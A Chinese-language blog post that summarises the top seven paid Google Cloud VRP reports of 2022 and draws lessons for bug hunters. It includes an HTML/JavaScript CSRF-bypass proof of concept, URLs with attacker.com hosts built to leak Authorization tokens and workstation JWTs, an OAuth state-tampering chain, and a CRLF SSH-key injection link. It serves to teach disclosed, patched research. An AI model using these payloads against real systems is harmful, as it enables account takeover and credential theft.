前言：

Google安全团队近期发布了2022年GoogleCloud VRP中赏金top7的漏洞

https://security.googleblog.com/2023/06/google-cloud-awards-313337-in-2022-vrp.html?continueFlag=8d8e2a2b6ab56e4030b5b194ac3f4922

1st Prize - $133,337: Yuval Avrahami for the report and write-up Privilege escalations in GKE Autopilot. Yuval’s excellent write-up describes several attack paths that would allow an attacker with permission to create pods in an Autopilot cluster to escalate privileges and compromise the underlying node VMs. While these VMs are accessible to customers in GKE Standard, this research led to several hardening improvements in Autopilot that make it a better secure-by-default Kubernetes offering.

2nd Prize - $73,331: Sivanesh Ashok and Sreeram KL for the report and write-up SSH Key Injection on GCE. Their write-up describes the journey of discovering a vulnerability that would allow an attacker to gain access to a user’s GCE VM by tricking them into clicking a link. They demonstrate the importance of persistence and turned a strange behavior in user creation into an injection of arbitrary SSH public keys.

3rd Prize - $31,337: Sivanesh Ashok and Sreeram KL for the report and write-up Bypassing Authorization in Cloud Workstations. Their write-up describes their research process for analyzing Cloud Workstations and then a full-chain exploit to steal a user’s access token by abusing the format of an OAuth state parameter.

4th Prize - $31,311: Sreeram KL and Sivanesh Ashok for the report and write-up Client-Side SSRF to Google Cloud Project Takeover. Their write-up combines a client-side SSRF, a CSRF bypass, and a clever 3xx redirect by “deactivating” a Feedburner proxy. An attacker could use this vulnerability to steal a Vertex AI user’s access token by tricking them into clicking a link.

5th Prize - $17,311: Yuval Avrahami and Shaul Ben Hai for the report and write-up Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms. Their whitepaper covers privilege escalation vectors in Kubernetes and describes vulnerabilities in many Kubernetes hosting providers, including Azure’s AKS, Amazon’s EKS, and GKE.

6th Prize - $13,373: Obmi for the report and write-up A Few Bugs in the Google Cloud Shell. Obmi discovered vulnerabilities in the Cloud Shell file upload functionality that would have allowed an attacker to write arbitrary files to a user’s Cloud Shell via cross-site request forgery.

7th Prize - $13,337: Bugra Eskici for the report and write-up Command injection in Cloud Shell. Bugra found a very curious injection point in a Cloud Shell script that led to a URL query parameter being directly injected into a Python script. This vulnerability would have given an attacker arbitrary code execution in a user’s Cloud Shell if they clicked on an attacker-controlled link.

本人根据google官方给出的YouTube视频进行了学习,并且根据个人理解对其中的案例细节进行了解释以及思路总结，本文配图均来源于google官方视频与writeup

能力水平有限，如有谬误，欢迎大家指出

Google官方视频：https://youtu.be/uOvizKc1WZY

现将TOP 7漏洞案例学习与思考归纳总结如下

7th Prize: Command injection in Cloud Shell - ￥13337

这个站说来惭愧，笔者曾经挖Google VRP的时候也挖过，是一个基于CSRF的command Injection，触发起来比较困难，google安全团队认为这比较鸡肋，因此没有收取漏洞

但是老外却搞到了一个真正的command injection。。让我羡慕不已

在GoogleCloud的web editor中，内置了shell，而url中的project参数似乎总会出现在python config脚本中，并且会引发脚本执行

image-20230627123429297

如上图所示，单引号触发了一个python console error

那么接下来事情就很简单了，根据目标的闭合feature构造一个oneline命令执行即可

image-20230627124005960

漏洞发掘的思考点：

永远不要放过任何一个用户可控的参数点~

6th Prize: A Few Bugs in the Google Cloud Shell - ￥13337

漏洞发现者找到了一个基于文件上传的XSS

image-20230627124440839

但是这样触发只是一个self xss，并不符合VRP的收录规则，但是漏洞发现者又通过非常Cool的姿势，发现了此处的CSRF

在本处要实现文件上传处的CSRF，需要获得一个随机的id，但是很显然，这个id并不容易猜解获取

image-20230627124856216

于是漏洞发掘者构造了一个POC，在拖拽图片时可以获取到目标带有这个随机id的文件上传url，从而实现CSRF，进而触发XSS

image-20230627124728387

如下图所示，拖拽这个image，可以获取到这个随机id

进而完成获取id->文件上传csrf->实现XSS的攻击链

image-20230627125239304

image-20230627125308590

不得不说，这一整套利用链非常amazing

漏洞发掘的思考点：

1.Self XSS结合CSRF变废为宝

2.在某些存在unique id的情况下，可考虑通过一些类似于经典的”click hijacking“方式，获取看似攻击者无法获取到的讯息

这个漏洞比较特殊，与其说叫漏洞，不如说叫安全白皮书~

白皮书并没有直接描述漏洞或者安全问题，但是其揭示了诸多提供Kubernetes服务的公有云厂商在pods失陷后与特权下的”DaemonSets”容器产生的权限提升的火花，并给出了kubernetes权限配置安全合理性的检测工具

Google认为这对于Kubernetes生态有所裨益，因此给出了$17311的奖励

image-20230627130025127

image-20230627125847654

白皮书链接：

https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms

漏洞发掘的思考点：

对于一个项目安全生态有所裨益的产出，往往比单点漏洞拥有更高的普适性价值

4th Prize: Client-Side SSRF to Google Cloud Project Takeover - $31,311

这个漏洞的发掘team同样是3th,2th奖励的发现者，可谓是神雕侠侣了。。。

image-20230627133641772

漏洞发掘者在pentest中发现了如下的URL：

https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/compute.googleapis.com/something

感觉这个点可能存在SSRF后使用了自己的域名进行测试

https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/geekycat.in/something

但是并不奏效，于是用了一个简单的tips bypass了限制

https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/{attacker.com}/compute.googleapis.com/

来自作者：bypasses the check, that was easy 😅

接下来作者服务器的日志显示，它收到了header中带有Authorization token的请求。

随后验证了Authorization token，发现确实有云平台权限~

至此实现权限接管

google随后修复了这个漏洞，只允许这个点请求*.google.com，但是漏洞发掘者找到了Bypass的方法

Bypass

漏洞发掘者随后发现了一个谷歌的子域服务 https://feedburner.google.com.

该服务允许可以管理域名下的RSS提要。类似于RSS Proxy一样。

随后漏洞挖掘者通过以下方法视图构建OpenRedirect

  • 导航至https://feedburner.google.com–> 创建代理 –> 输入https://attacker.com/rss.xml
  • 使用“自定义 URL”–> 创建

复制的 URL 的格式如下：https://feeds.feedburner.com/{CUSTOM}/{ID}

  • 创建代理后，单击三个点 –> 停用 –> 确认

现在，受害者访问https://feeds.feedburner.com/{CUSTOM}/{ID}将会实现一个OpenRedirect

但是并不是一帆风顺的

访问https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/feedproxy.google.com/{CUSTOM}/{ID}

无法实现SSRF，因为Google实施了CSRF保护。

随后漏洞发掘者注意到Jupyter notebook是部署在tornado上的，而tornado有一种绕过csrf校验的方法：

Tornado服务器会比较GET参数/POST包中的CSRF令牌与cookie中的CSRF令牌。

如果两者都匹配，则通过。否则，失败。

由于子域可以将cookie设置为父域，因此在任何子域中执行javascript将允许我们为cookie设置任意CSRF令牌，然后绕过CSRF保护。

于是漏洞挖掘者在googleusercontent.com部署了一个jupyter

image-20230627142813741

并且修改了Jupyter笔记本的索引页(位于/opt/conda/share/ Jupyter /lab/static下)

image-20230627142804323

由于已经成功地获得了javascript的执行权，我们现在可以设置任意的CSRF令牌并绕过保护。

<!DOCTYPE html>
<html lang="en">
<body>
    <script>
        var base_domain = document.domain.substr(document.domain.indexOf('.'));
        document.cookie='_xsrf=1;Domain='+base_domain;
fetch("https://{VICTIM-INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/feedproxy.google.com/{CUSTOM}/{ID}?_xsrf=1",{credentials:"include",mode:"no-cors"})
    </script>
</body>
</html>

进而获取Authorization header，漏洞利用完成~

image-20230627142855242

漏洞发掘的思考点：

这个漏洞是我认为bypass最为精妙的一个，学到的有以下几点：

1.tornado的csrf校验bypass feature

2.当厂商在SSRF点限制了自己的根域名后，可以考虑从子域的业务点入手挖掘一个OpenRedirect，在支持302跳转的情况下往往会产生意想不到的效果

3rd Prize: Bypassing Authorization in Cloud Workstations - $31337

这个漏洞比较麻烦，是一个Outh层面的漏洞，Outh中经典的往往是控制redirect url实现凭据劫持

但是这个点稍微多了点步骤，要先获取到受害者outh的url再进行构造才能实现凭据劫持，因此直接给出作者的Attack Chain供大家参考

  1. 访问{victim-subdomain}.cloudworkstations.dev

  2. 被重定向到并给出 500 响应https://ssh.cloud.google.com/devshell/oauth?authuser=0&state={state-value}

  3. state参数为base64加密的字符串，解密后数据实例如下

    {"token":"random-token","target_host":"attacker.com/80-{workstation-name}.cluster-{random-string}.cloudworkstations.dev","authuser":"","workstation_name":"projects/project-name-374312/locations/us-central1/workstationClusters/cluster-name/workstationConfigs/config-name/workstations/workstation-name","workstation_consumer_project_number":"0123456789"}

    从base64解码状态参数，并将target_host值更改为attacker.com/{victim-subdomain}.cloudworkstations.dev

  4. 将 JSON 重新编码为 base64 并创建新的状态值

  5. 使用修改后的状态值制作 OAuth URL -并将恶意链接发送给受害者https://ssh.cloud.google.com/devshell/oauth?authuser=0&state={malicious-state-value}

  6. 一旦受害者打开恶意链接，攻击者就会收到对其服务器的 GET 请求，该请求将具有 workstation_jwt 值。

  7. 然后，攻击者使用受害者的凭据并访问受害者的工作站https://{victim-subdomain}.cloudworkstations.dev/_workstation/login?redirect={state-value}&workstation_jwt={victim-jwt-value}

漏洞发掘的思考点：

1.多多留意一些弱加密的参数值，往往隐藏着不为人知的秘密

2.Outh漏洞中openRedirect导致的凭据劫持不一定就是写脸上的redirectUrl可控~尽量去发掘可控的redirect参数点，针对实战情况再进行bypass

2nd Prize: SSH Key Injection on GCE - $73,331

漏洞发掘者在google cloud的Google Compute Engine（GCE）的instance添加SSH Key时，使用了形如

curl https://stazot.com

的payload

但是却出现了如下图所示的奇葩输出

img

漏洞发掘者瞬间天灵盖炸开，原来冒号:会被当成这个点的分隔符号。

冒号前的作为username，冒号后作为ssh key，并且这一切都是通过get方式进行传参的

因此，漏洞发掘者准备构造URL，让受害者打开恶意链接会将攻击者的用户名和 SSH 密钥添加到他们的计算实例中。

以下 URL attacker:{URL-ENCODED-SSH-PUBLIC-KEY} 作为Exploit处：

https://ssh.cloud.google.com/v2/ssh/projects/{PROJECT-NAME}/zones/{INSTANCE-ZONE}/instances/{INSTANCE-NAME}?newLinuxUsername=attacker:{URL-ENCODED-SSH-PUBLIC-KEY}

以受害者身份打开链接 - 但是，它没有奏效。

原因是添加的SSH密钥随后附加了Google在后端自动生成的SSH密钥。

为了解决这个问题，漏洞发掘者在有效负载后附加了换行符%0d%0a返回字符：

https://ssh.cloud.google.com/v2/ssh/projects/{PROJECT-NAME}/zones/{INSTANCE-ZONE}/instances/{INSTANCE-NAME}?newLinuxUsername=attacker:{URL-ENCODED-SSH-PUBLIC-KEY}%0d%0a

成功绕过了限制

image-20230628091912594

image-20230628092202263

至此实现了一个奇葩情况下产生奇迹的RCE

漏洞发掘的思考点：

1.测试公有云厂商时，多多留意带有高危操作的功能点，诸如实例用户添加，SSH Key添加的功能点，一但出洞，便是惊涛骇浪

2.在某些情况下可尝试使用%0d%0a等control chars毙掉程序后端自动生成的内容，让我们的漏洞触发点构造与利用更加一帆风顺

1st Prize: Privilege escalations in GKE Autopilot - $133,337

终于来到了top1的vuln（https://unit42.paloaltonetworks.com/gke-autopilot-vulnerabilities/）

在这个漏洞中，漏洞发掘者挖掘了数条攻击路径，这些路径允许有权在 Autopilot 集群中创建 Pod 的攻击者提升权限并破坏底层节点虚拟机。

Autopilot架构的简化图如图。

A simplified diagram of Autopilot's architecture. Components unique to Autopilot are colored in green and shown with a number corresponding to their role from the list above. Unlike GKE Standard, where nodes are visible as Compute Engine VMs, Autopilot nodes are completely managed by Google, thus colored in green.

Autopilot 特有的组件以绿色显示，并显示与上面列表中的角色对应的数字。

与 GKE Standard 不同，其中节点显示为计算引擎虚拟机，Autopilot 节点完全由 Google 管理，因此显示为绿色。

Autopilot内置了安全策略防止运行Privileged Container，同时阻止用户访问由 Google 管理的群集组件（如节点）; 防止用户访问由 Google 管理的群集组件（如节点），以防止容器逃逸和其他攻击面

如作者给出的图所示

image-20230628095555233

但是作者依然给出了一些可能的攻击面

  1. GoogleCloud依靠 Autopilot 的策略来防止有风险的配置。

    如果攻击者可以以某种方式绕过该策略，他们可能会通过客户期望被阻止的方法（例如部署特权容器）来提升权限。

  2. Autopilot 管理员没有完全特权，受内置策略的限制，无法访问节点和某些特权 Kubernetes API。

    如果攻击者可以绕过Autopilot的策略，他们可能会获得比管理员更高的权限，从而为隐形后门打开大门。

第一条攻击链

Autopilot 禁止可能允许容器逃逸的 Pod 配置。为了支持一些特殊的node访问的附加组件，Autopilot 创建了一个允许列表workloads的概念。如果容器与允许列出的workloads匹配，则允许它使用允许列表工作负载配置中指定的特权功能。漏洞挖掘者测试时，唯一列入允许列表的workloads是 Datadog agent

In June, the only allow-listed workloads were Datadog agents.

下面是引起漏洞发掘者注意的其中一个 Datadog agent的allowListedworkLoads配置。如果容器指定了列出的命令和映像，则允许它在只读卷中装载列出的主机路径。

The screenshot shows the allow-listed workload configuration for one of the Datadog agents that caught our attention while searching for GKE Autopilot vulnerabilities.

这里的安全问题是校验不充分。仅检查命令和映像不足以确保容器运行 Datadog 代码。

使用以下 PodSpec，容器可以在运行攻击者控制的代码时伪装成 Datadog agent，并滥用暴露的主机卷进行破坏。

Using the PodSpec shown here, a container can masquerade as the Datadog agent while running attacker-controlled code, and abuse the exposed host volumes to break out.

在下面作者给出的视频中，恶意用户部署了一个伪装成 Datadog 代理的容器。Pod 通过以下步骤接管其底层节点：

  1. 滥用挂载的 containerd socket来创建挂载主机文件系统的特权容器。
  2. 让该特权容器安装一个 systemd 服务，该服务会让node派生一个反向shell给攻击者

https://youtu.be/0cZJklJxTQk

第二条攻击链

第二条攻击路径涉及的概念较多

简而言之的话，漏洞发掘者开发了一个 Python 工具，可将 Pod 的服务帐户映射到它们的 Kubernetes 权限（即角色和集群角色）名为sa-hunter 。

通过该工具，漏洞挖掘者发现默认安装了两个功能强大的 kube-system pod：stackdriver-metadata-agent-cluster-level 和 metrics-server。两个 Pod 都可以更新现有部署。

乍一看，此权限可能看起来是无辜的，但足以权限提升到cluster admin。同时这些 Pod 也默认部署在GKE Standard中，这使得以下权限提升技术与所有 GKE 集群（GKE clusters, Standard and Autopilot）相关。

Privileged role assigned to the metrics-server pod can update deployments.

后续获取并攻击服务账户token的攻击路径作者原文描述如下

After taking over a node hosting either the stackdriver-metadata-agent-cluster-level or metrics-server pod, an attacker can harvest their service account token from the node filesystem. Armed with that token, the attacker can attain the privileges of any service account in the cluster with three simple steps:

  1. Update an existing deployment’s service account to the target service account. There are a number of preinstalled deployments, any one of which can be used for this step.

  2. Add a malicious container to that deployment.

  3. Have that malicious container retrieve the target service account token mounted in the container at /run/secrets/kubernetes.io/serviceaccount/token.

    Abusing deployment update privileges to obtain any service account's token.

kube-system namespace提供了许多预安装的、功能极其强大的服务帐户可选择。clusterrole-aggregation-controller (CRAC） 服务帐户可能是主要候选帐户，因为它可以向现有群集角色添加任意权限。

The clusterrole-aggregation-controller service account can escalate cluster roles.

获取 CRAC 令牌后，攻击者可以更新绑定到 CRAC 的集群角色以拥有所有权限。此时，攻击者实际上是集群管理员，并且不受 Autopilot 策略的约束

image-20230628102225402

作者给出的POC视频如下：

https://youtu.be/4Dddhk1QclY

漏洞发掘的思考点：

1.测试集群服务时，多多关注集群服务中允许以特权模式运行的POD

2.多多留意集群服务中preinstalled service的权限误配

后言：

通过以上七个精妙的漏洞的学习与思考总结，不由得慨叹：老外顶级的漏洞挖掘者功底之扎实，思路之风骚，我们还有很长的路要走

博采天下众长，攘天下之学识为我所用——是新时代优秀hacker与geeker的能力标配